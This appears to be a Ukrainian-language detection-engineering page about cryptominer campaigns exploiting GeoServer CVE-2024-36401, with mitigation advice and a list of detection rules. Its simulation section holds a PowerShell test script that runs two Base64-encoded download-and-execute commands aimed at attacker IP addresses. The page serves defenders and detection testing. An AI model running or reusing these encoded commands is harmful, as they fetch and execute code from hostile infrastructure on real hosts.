GeoServer під атакою: кампанії з використанням шкідливого програмного забезпечення для майнінгу криптовалют
Detection stack
- AIDR
- Alert
- ETL
- Query
Резюме
Зловмисники експлуатують вразливість віддаленого виконання коду GeoServer, CVE-2024-36401, для розгортання криптовалютних майнерів і NetCat на незахищених серверах. Діяльність ґрунтується на PowerShell, Bash та certutil для завантаження та запуску XMRig з кількох шкідливих доменів та IP-адрес. Використовуються кілька скриптів-завантажувачів та дропперів, часто упакованих в ZIP-архіви й збережених як служби через NSSM. Основна мета – захоплення обчислювальних ресурсів для несанкціонованого майнінгу.
Дослідження
У звіті описуються три варіанти (A, B, C), які використовують кодований PowerShell, Bash-завантажувачі та certutil для отримання майнерів з pool.supportxmr.com та кількох піддоменів aaaaaaaaa.cyou. Механізми доставки включають bat-скрипти, ZIP-архіви та спеціальний завантажувач з назвою systemd, а також облікові дані HTTP Basic автентифікації. Аналітики вилучили ключові індикатори — URL, IP-адреси та імена файлів — для підтримки виявлення та обсягу аналізу.
Пом’якшення
Впровадьте патчі GeoServer, що усувають CVE-2024-36401, і підтримуйте розгортання на останній підтримуваній версії. Блокуйте вихідні з’єднання на відомі майнінгові пули та пов’язану інфраструктуру, а також слідкуйте за підозрілими виконаннями закодованих PowerShell чи Bash. Обмежте використання certutil для контекстів без адміністративних прав та впровадьте списки дозволених додатків для запобігання несанкціонованих служб, встановлених через NSSM.
Відповідь
Реалізуйте виявлення для спостережуваних команд, хешів і мережевих індикаторів. Карантинуйте уражені хости, знищуйте служби майнерів і артефакти стійкості, а також проведіть криміналістичну перевірку на предмет будь-яких вторинних навантажень. Переорієнтуйте відкриті облікові дані та вимагайте багатофакторну автентифікацію для адміністративного доступу.
Потік атаки
Виявлення
Відключення захисту Windows Defender (через registry_event)
Перегляд
Підозрілі зміни в налаштуваннях Windows Defender (через powershell)
Перегляд
Можливі точки стійкості [ASEPs – Hive Software/NTUSER] (через registry_event)
Перегляд
Schtasks вказує на підозрілий каталог / Бінарний файл / Скрипт (через cmdline)
Перегляд
Підозрілі файли в профілі загальнодоступного користувача (через file_event)
Перегляд
Завантаження або вивантаження через Powershell (через cmdline)
Перегляд
Індикатори скомпрометованості (SourceIP) для виявлення: Випадки атаки шкідливого ПЗ Coin Miner, націлені на GeoServer
Перегляд
Індикатори скомпрометованості (DestinationIP) для виявлення: Випадки атаки шкідливого ПЗ Coin Miner, націлені на GeoServer
Перегляд
Індикатори скомпрометованості (HashMd5) для виявлення: Випадки атаки шкідливого ПЗ Coin Miner, націлені на GeoServer
Перегляд
Виявлення використання Certutil для завантаження шкідливих навантажень, які експлуатують уразливості GeoServer [Створення процесів Windows]
Перегляд
Виявлення закодованих команд PowerShell, націлених на уразливості GeoServer [Windows Powershell]
Перегляд
Виконання симуляції
Передумова: Повинна бути завершена перевірка телеметрії та базової лінії.
Обґрунтування: Цей розділ деталізує точне виконання техніки супротивника (TTP), призначене для активації правила виявлення. Команди і розповідь повинні безпосередньо відображати ідентифіковані TTPs і спрямовані на генерування точної телеметрії, очікуваної логікою виявлення.
-
Опис атаки та команди:
Атакуючий отримав шкідливе навантаження Base64, яке завантажує вразливий конфігураційний файл GeoServer, виконує його, а потім скидає криптовалютний майнер. Щоб уникнути простої блокировки скриптів, нападник використовує-encперемикач з попередньо закодованим рядком (один з двох відомих ІОС). Нападник запускає навантаження локально на зламаному Windows-хості, що викликає створення процесуpowershell.exeіз включеною точною Base64 стрічкою, за якою стежить правило. -
Скрипт регресійного тестування:
# ------------------------------------------------- # Регресійний скрипт для активації правила Sigma # ------------------------------------------------- # Навантаження 1 (відповідає першому ІОС) $b64_1 = 'SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQAUwB0AHIAaQBuAGcAKAAnAGgAdAB0AHAAOgAvAC8AMjIwLjg0LjEwNy42OS9qcy9ndy50eHQnKQA=' powershell.exe -enc $b64_1 # Навантаження 2 (відповідає другому ІОС) $b64_2 = 'SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQAUwB0AHIAaQBuAGcAKAAnAGgAdAB0AHAAOgAvAC8xMTkuMTk0LjE1My4zMTo4MDgwL2ljb24vanMvd2kudHh0Jyk=' powershell.exe -enc $b64_2 -
Команди очищення:
# ------------------------------------------------- # Очищення – завершення будь-яких незакритих навантажень PowerShell # ------------------------------------------------- Get-Process -Name powershell -ErrorAction SilentlyContinue | Where-Object { $_.StartInfo.Arguments -match '-enc' } | Stop-Process -Force